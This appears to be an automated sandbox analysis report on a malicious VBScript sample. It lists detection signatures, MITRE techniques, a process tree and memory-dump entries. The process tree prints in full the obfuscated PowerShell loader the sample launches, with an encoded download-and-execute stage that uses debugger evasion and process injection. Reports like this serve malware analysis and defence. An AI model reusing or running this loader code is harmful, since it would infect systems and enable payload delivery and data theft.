Analysis
- max time kernel
298s - max time network
300s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/06/2026, 11:46
General
- Target SHB89681.vbs
- Size 84KB
- Sample260602-nxfbpsds9k
- SHA256 3da0d51f91991cea4662201e46fa87e7e9b7c74d4704fce249813b76ed48ed0f
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHB89681.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\ping.exeping Bera_6637.6637.6637.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mp 'subordinacy' 'kalmia' 'phenacodus';$prereceiver=4;$trotski=55;function belyser ($replikskifterneolometerdentitetsantagelses,$replikskifterne) {$opkaldet=rescrubbed39('Listeudsalgsprisen mrbankende Stratus Audiometrenes Bev II[HHHHillllnIIIIt <<<]????$RRRRrooooe%%%%pkkkkl____i WWWkjjjjs ccck wwiQQQQf ee taaaae HHHr!!!!n::: e iiiossssl////ozzzzm____eqqqqtVVVVeNN,Nr;;;;dVVVVezzzznq qqtgg gi^.^^twwwwekkk t,MMMszz zaSSSSn zz,t ZZZaggg gT TTe XXXl tttshhhhe TTTs<<<< LLLL- +++b %%%x') ;$opkaldet+=rescrubbed39('Sabelens Vrissendes Energiministerier Pteropaedic Ikldn yyyo,ppprhhhh ???[vvvviXXXXn B Bt??? ]xxxx$%%%%ruuuue QQQpkkk l>>>>iTTTTkvvv.s,xxxkttttijjjjfhhhhtqqqqe OOOrggg,nX.XXeEEEE ');;Frokostsalaten ($opkaldet)}function rescrubbed39 ($jokertegnet) { $replikskifterneolometer=$prereceiver+$trotski; do {$taaneglen+=$jokertegnet[$replikskifterneolometer];$replikskifterneolometer+=5} while ($jokertegnet[$replikskifterneolometer])$taaneglen}function Frokostsalaten ($replikskifterneolometernvaliden) {&($sttemdernes) $replikskifterneolometernvaliden}Function Snotdummest ($jokertegnet,$coatee=0){ ;$periostotomy=rescrubbed39('Preconsoidate Velarerne Duellize Bagagebrere Microdacty////$<<<<s.zzzcZZZZruuuuiD DDp++++t DDD:~~~~mx xxiuuuucOO OrkkkkoUUUUbvvvvrQQQQa,eeecMMMMh^^^^i||||udddds.***=dddd[llllCKKK.o');$periostotomy+=rescrubbed39('Vornedskab Tornyster Seacoast Pixinesses Hyperkinetic DQQ.Qn====v yye;;;;r ???t****]');$periostotomy+=$discutient;$periostotomy+=rescrubbed39('Underindeksernes Trephine Isoeugenol satyresque BibliogqqqqF****rZZZZozzzzm y.yBOOOOatttts VVVeLLLL6____4~~ ~S yy tPPPPrssssi****nrrrrgRRR (LLLL$ ^^jIIIIo??? k hhhe p prCCCCt FFFe~~~~g=,==n jjje ,sst^^^^)');Frokostsalaten ($periostotomy);For($replikskifterneolometer=0; $microbrachius[$replikskifterneolometer] -ne $travoise; $replikskifterneolometer++){$microbrachius[$replikskifterneolometer] = belyser $microbrachius[$replikskifterneolometer] $repay[$replikskifterneolometer%12]}$gipping=rescrubbed39('Scrubby sluffed Amalic Labouring marcellas Logres Pinnu*,**$!!!,s++ +c !,!rssssiggggpaa atx xx: qqqskkkkk PPPu,&&&lBBB.dooooell lrxxxxtXXXXa====sYYYYkiiiie~~~~nQ QQ=,jjj[');$gipping+=rescrubbed39('Pretrers Inderliggres Kabinetternes Versatileness BilagiiiiT,===e .XXxxxxxt');$gipping+=$monopolisable;$gipping+=rescrubbed39('Aquanaut Strmhvirvelen Skovlings Sluttidspunkterne Egen****EPPPPnNNN.c<<<<oo ood##,#i<<<<n jjjgpppp]');$gipping+=$discutient;$gipping+=rescrubbed39('Brecher Modernish Forureningsskaden Maxillary Studietid !!!AvvvvSi,iiCnnnnImmmmI');$gipping+=$monopolisable;$gipping+=rescrubbed39('Replunder Intrait Hidel Sidle Skvisedes waterleaves Smy====GNNNNedd dtllllS EE,ts ssr nnni AAAn____gOOOO(,WWW$xxx mmmmmijjjjcG GGrGGGGoYYYYb SSSrHHH aiiiicCCCChCCCCi K KuWWWWsyyyy)');Frokostsalaten ($gipping);if ($coatee) { Frokostsalaten $skuldertasken}else {;$skuldertasken}}$discutient=rescrubbed39('Lassoernes Rumdelere frtidspensioneringerne Pigedes fill ll:J JJ:');$sttemdernes=rescrubbed39 'Interindicated Eksposition Haglbygens Undermineringers ppppI';$monopolisable=rescrubbed39('Sonance Unikummets Gyrometer Bifolium Dicalcic Unswaddl;;;;.');$sttemdernes+=rescrubbed39 'Mejner Anangular udspiledes sidenumrenes Brasekartoflen .ccE';$repay=@(70,111,114,119,97,114,100,101,114,110,101,115);$sttemdernes+=rescrubbed39 'Reticences Varemrkers Imbarking Diskettestrelserne ReprkkkkX';$repasses=Snotdummest 'c0FCV0klDQsWARIAZiEmV1BCSlVJTjIaKFlGTEEKUlFJThcFfF5HR09CTUU1CwYYKUBAR1BCVFRCX0U1Lx0XEQ4KS1RHXktD';$floralia=Snotdummest 'LhsGBxJIS0oWHAwFI0EVGA4VCABcDQoeaRoRSAQKFAoAGlgXKRgcGw4TAEMbClhCDh8iNQUBNy1ECCAXE1oGNA0UPRZDWVNDDB5LE1E0EiY=';$programadministrations=Snotdummest 'eA==';$replikskifterneolometerdentitetsantagelsestomspaltningers='\Suppressant21.For';Snotdummest 'YggeGAMTCF8ECwsWMgYTBFxWAQsEVAQDNgsTAwBZQBcXHgkaLRwZHgcGARccCwofKQIXAwQAAAAcGgwHIxsBFg8GBQIXAhYWNRsdGhICBQkGAAwdIQoABA==' 1;Snotdummest 'YggeGAMTCF8RCwsHMx0bFhUdFlhWCAkcNA4eHgBcFxUeBxFbYh8AGAYABQgTCggaKAYBAxMTEAwdABZa' 1;Snotdummest 'HSEXA08hARcEBwYWFgAbGRU/BQsTCQABG1VIJAQRERcbGhwjNAAGGAIdCFhBXlJB' 1;$floralia=$centuriator[0];$polecat=(Snotdummest 'YggeGAMTCF8bAAscMA4GHg4cAQtPIAAEayAQHQQREEU8CxFdEQoQNA0bAQsG');Frokostsalaten ($polecat);Snotdummest 'YgYcGQ4EBREbAQsWKEE6EgAWARcBNT49IxtcPxUGFDcXHxAWNRs6EgAWARcvWlUue0sAEhETFxYXHQ==' 1;$fodboldmedaljer192=Snotdummest 'AgAFGQ0dBQE0BwkW';$haandbremsen=Snotdummest 'YgYcGQ4EBREbAQsWKEFWEQ4WBgoeCggWIg4eHQQAVVxAQCwdMAAZEklWAgkdHAQfLw5eUwAeDQAcDRxa';$aliency=$venetias;Snotdummest 'YggeGAMTCF8GBwsXIx0cEhJPTDEXHRFeFg4GH0FWBQkbCwsQP0Y=' 1;while (!$tindernes) {Snotdummest 'YggeGAMTCF8hGgQfJwgfHhUXVV1KU0EHNBoX' 1;Frokostsalaten $haandbremsen;Snotdummest 'FQMXEhFaUEw=' 1;Snotdummest 'YggeGAMTCF8GBwsXIx0cEhJPTDEXHRFeFg4GH0FWBQkbCwsQP0Y=' 1 ;Snotdummest 'YggeGAMTCF8WDwsALRwbGQUXAAABU0EUKgAQFg1IAxccDwkUI0RZUkURAQsGGxcaJxsdBU8RCxAcGg==' 1;$floralia=$centuriator[$dansksindedes]}$tvivlers=164429;$replikskifterneolometerdentitetsantagelsesnholdelser=19256;Snotdummest 'YggeGAMTCF8UDwsWLQAAAwQGWQIRTkESKgYXGQIL' 1;Snotdummest 'YggeGAMTCF8bAxUGKhwbAQgGAREXABZOHSwdGRcXFhEvVF81NAAfNQABAVNGPREBLwEVX0UUBQsXBQoBMgoGXg==' 1;Snotdummest 'YggeGAMTCF8fCwISKgAWGA8GDQETC1goEgoKA083CgYdCgwdITJITSAhJyw7QCIWMjwGBQgcA01WBwgDMwMBHhcbEAAGCwsAbw==' 1;Snotdummest 'YggeGAMTCF8HChYDIwQHGwQAARFPSggWIQ4eGAUdChEbCgQWaBwHFRIGFgwcCU1XMhkbAQ0XFhZeShcWNgMbHBIZDQMGCxcdIwAeGAwXEAAACgAdMgYGEhUBBQsGDwIWKhwXBA8aCwkWCwkAIx1b' 1;Frokostsalaten $udspekuleret;"2⤵
- Badlisted process makes network request
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'subordinacy' 'kalmia' 'phenacodus';$prereceiver=4;$trotski=55;function belyser ($replikskifterneolometerdentitetsantagelses,$replikskifterne) {$opkaldet=rescrubbed39('Listeudsalgsprisen mrbankende Stratus Audiometrenes Bev II[HHHHillllnIIIIt <<<]????$RRRRrooooe%%%%pkkkkl____i WWWkjjjjs ccck wwiQQQQf ee taaaae HHHr!!!!n::: e iiiossssl////ozzzzm____eqqqqtVVVVeNN,Nr;;;;dVVVVezzzznq qqtgg gi^.^^twwwwekkk t,MMMszz zaSSSSn zz,t ZZZaggg gT TTe XXXl tttshhhhe TTTs<<<< LLLL- +++b %%%x') ;$opkaldet+=rescrubbed39('Sabelens Vrissendes Energiministerier Pteropaedic Ikldn yyyo,ppprhhhh ???[vvvviXXXXn B Bt??? ]xxxx$%%%%ruuuue QQQpkkk l>>>>iTTTTkvvv.s,xxxkttttijjjjfhhhhtqqqqe OOOrggg,nX.XXeEEEE ');;Frokostsalaten ($opkaldet)}function rescrubbed39 ($jokertegnet) { $replikskifterneolometer=$prereceiver+$trotski; do {$taaneglen+=$jokertegnet[$replikskifterneolometer];$replikskifterneolometer+=5} while ($jokertegnet[$replikskifterneolometer])$taaneglen}function Frokostsalaten ($replikskifterneolometernvaliden) {&($sttemdernes) $replikskifterneolometernvaliden}Function Snotdummest ($jokertegnet,$coatee=0){ ;$periostotomy=rescrubbed39('Preconsoidate Velarerne Duellize Bagagebrere Microdacty////$<<<<s.zzzcZZZZruuuuiD DDp++++t DDD:~~~~mx xxiuuuucOO OrkkkkoUUUUbvvvvrQQQQa,eeecMMMMh^^^^i||||udddds.***=dddd[llllCKKK.o');$periostotomy+=rescrubbed39('Vornedskab Tornyster Seacoast Pixinesses Hyperkinetic DQQ.Qn====v yye;;;;r ???t****]');$periostotomy+=$discutient;$periostotomy+=rescrubbed39('Underindeksernes Trephine Isoeugenol satyresque BibliogqqqqF****rZZZZozzzzm y.yBOOOOatttts VVVeLLLL6____4~~ ~S yy tPPPPrssssi****nrrrrgRRR (LLLL$ ^^jIIIIo??? k hhhe p prCCCCt FFFe~~~~g=,==n jjje ,sst^^^^)');Frokostsalaten ($periostotomy);For($replikskifterneolometer=0; $microbrachius[$replikskifterneolometer] -ne $travoise; $replikskifterneolometer++){$microbrachius[$replikskifterneolometer] = belyser $microbrachius[$replikskifterneolometer] $repay[$replikskifterneolometer%12]}$gipping=rescrubbed39('Scrubby sluffed Amalic Labouring marcellas Logres Pinnu*,**$!!!,s++ +c !,!rssssiggggpaa atx xx: qqqskkkkk PPPu,&&&lBBB.dooooell lrxxxxtXXXXa====sYYYYkiiiie~~~~nQ QQ=,jjj[');$gipping+=rescrubbed39('Pretrers Inderliggres Kabinetternes Versatileness BilagiiiiT,===e .XXxxxxxt');$gipping+=$monopolisable;$gipping+=rescrubbed39('Aquanaut Strmhvirvelen Skovlings Sluttidspunkterne Egen****EPPPPnNNN.c<<<<oo ood##,#i<<<<n jjjgpppp]');$gipping+=$discutient;$gipping+=rescrubbed39('Brecher Modernish Forureningsskaden Maxillary Studietid !!!AvvvvSi,iiCnnnnImmmmI');$gipping+=$monopolisable;$gipping+=rescrubbed39('Replunder Intrait Hidel Sidle Skvisedes waterleaves Smy====GNNNNedd dtllllS EE,ts ssr nnni AAAn____gOOOO(,WWW$xxx mmmmmijjjjcG GGrGGGGoYYYYb SSSrHHH aiiiicCCCChCCCCi K KuWWWWsyyyy)');Frokostsalaten ($gipping);if ($coatee) { Frokostsalaten $skuldertasken}else {;$skuldertasken}}$discutient=rescrubbed39('Lassoernes Rumdelere frtidspensioneringerne Pigedes fill ll:J JJ:');$sttemdernes=rescrubbed39 'Interindicated Eksposition Haglbygens Undermineringers ppppI';$monopolisable=rescrubbed39('Sonance Unikummets Gyrometer Bifolium Dicalcic Unswaddl;;;;.');$sttemdernes+=rescrubbed39 'Mejner Anangular udspiledes sidenumrenes Brasekartoflen .ccE';$repay=@(70,111,114,119,97,114,100,101,114,110,101,115);$sttemdernes+=rescrubbed39 'Reticences Varemrkers Imbarking Diskettestrelserne ReprkkkkX';$repasses=Snotdummest 'c0FCV0klDQsWARIAZiEmV1BCSlVJTjIaKFlGTEEKUlFJThcFfF5HR09CTUU1CwYYKUBAR1BCVFRCX0U1Lx0XEQ4KS1RHXktD';$floralia=Snotdummest 'LhsGBxJIS0oWHAwFI0EVGA4VCABcDQoeaRoRSAQKFAoAGlgXKRgcGw4TAEMbClhCDh8iNQUBNy1ECCAXE1oGNA0UPRZDWVNDDB5LE1E0EiY=';$programadministrations=Snotdummest 'eA==';$replikskifterneolometerdentitetsantagelsestomspaltningers='\Suppressant21.For';Snotdummest 'YggeGAMTCF8ECwsWMgYTBFxWAQsEVAQDNgsTAwBZQBcXHgkaLRwZHgcGARccCwofKQIXAwQAAAAcGgwHIxsBFg8GBQIXAhYWNRsdGhICBQkGAAwdIQoABA==' 1;Snotdummest 'YggeGAMTCF8RCwsHMx0bFhUdFlhWCAkcNA4eHgBcFxUeBxFbYh8AGAYABQgTCggaKAYBAxMTEAwdABZa' 1;Snotdummest 'HSEXA08hARcEBwYWFgAbGRU/BQsTCQABG1VIJAQRERcbGhwjNAAGGAIdCFhBXlJB' 1;$floralia=$centuriator[0];$polecat=(Snotdummest 'YggeGAMTCF8bAAscMA4GHg4cAQtPIAAEayAQHQQREEU8CxFdEQoQNA0bAQsG');Frokostsalaten ($polecat);Snotdummest 'YgYcGQ4EBREbAQsWKEE6EgAWARcBNT49IxtcPxUGFDcXHxAWNRs6EgAWARcvWlUue0sAEhETFxYXHQ==' 1;$fodboldmedaljer192=Snotdummest 'AgAFGQ0dBQE0BwkW';$haandbremsen=Snotdummest 'YgYcGQ4EBREbAQsWKEFWEQ4WBgoeCggWIg4eHQQAVVxAQCwdMAAZEklWAgkdHAQfLw5eUwAeDQAcDRxa';$aliency=$venetias;Snotdummest 'YggeGAMTCF8GBwsXIx0cEhJPTDEXHRFeFg4GH0FWBQkbCwsQP0Y=' 1;while (!$tindernes) {Snotdummest 'YggeGAMTCF8hGgQfJwgfHhUXVV1KU0EHNBoX' 1;Frokostsalaten $haandbremsen;Snotdummest 'FQMXEhFaUEw=' 1;Snotdummest 'YggeGAMTCF8GBwsXIx0cEhJPTDEXHRFeFg4GH0FWBQkbCwsQP0Y=' 1 ;Snotdummest 'YggeGAMTCF8WDwsALRwbGQUXAAABU0EUKgAQFg1IAxccDwkUI0RZUkURAQsGGxcaJxsdBU8RCxAcGg==' 1;$floralia=$centuriator[$dansksindedes]}$tvivlers=164429;$replikskifterneolometerdentitetsantagelsesnholdelser=19256;Snotdummest 'YggeGAMTCF8UDwsWLQAAAwQGWQIRTkESKgYXGQIL' 1;Snotdummest 'YggeGAMTCF8bAxUGKhwbAQgGAREXABZOHSwdGRcXFhEvVF81NAAfNQABAVNGPREBLwEVX0UUBQsXBQoBMgoGXg==' 1;Snotdummest 'YggeGAMTCF8fCwISKgAWGA8GDQETC1goEgoKA083CgYdCgwdITJITSAhJyw7QCIWMjwGBQgcA01WBwgDMwMBHhcbEAAGCwsAbw==' 1;Snotdummest 'YggeGAMTCF8HChYDIwQHGwQAARFPSggWIQ4eGAUdChEbCgQWaBwHFRIGFgwcCU1XMhkbAQ0XFhZeShcWNgMbHBIZDQMGCxcdIwAeGAwXEAAACgAdMgYGEhUBBQsGDwIWKhwXBA8aCwkWCwkAIx1b' 1;Frokostsalaten $udspekuleret;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_cxnvvioe.kyr.ps1
Suppressant21.For
memory/2016-26-0x0000000006090000-0x00000000060F6000-memory.dmp
memory/2016-40-0x0000000006B30000-0x0000000006B4A000-memory.dmp
memory/2016-45-0x0000000009140000-0x000000000A6C5000-memory.dmp
memory/2016-43-0x0000000008AC0000-0x000000000913A000-memory.dmp
memory/2016-42-0x0000000007E90000-0x0000000008436000-memory.dmp
memory/2016-23-0x0000000002E10000-0x0000000002E46000-memory.dmp
memory/2016-24-0x0000000005970000-0x0000000005F9A000-memory.dmp
memory/2016-25-0x00000000057A0000-0x00000000057C2000-memory.dmp
memory/2016-41-0x0000000006B80000-0x0000000006BA2000-memory.dmp
memory/2016-27-0x0000000006100000-0x0000000006166000-memory.dmp
memory/2016-34-0x0000000006170000-0x00000000064C7000-memory.dmp
memory/2016-39-0x00000000075F0000-0x0000000007686000-memory.dmp
memory/2016-36-0x0000000006610000-0x000000000662E000-memory.dmp
memory/2016-37-0x00000000066B0000-0x00000000066FC000-memory.dmp
memory/5280-6-0x000001CAC3550000-0x000001CAC3572000-memory.dmp
memory/5280-13-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-14-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-4-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-20-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-16-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-5-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp
memory/5280-15-0x000001CAC14D0000-0x000001CAC14E0000-memory.dmp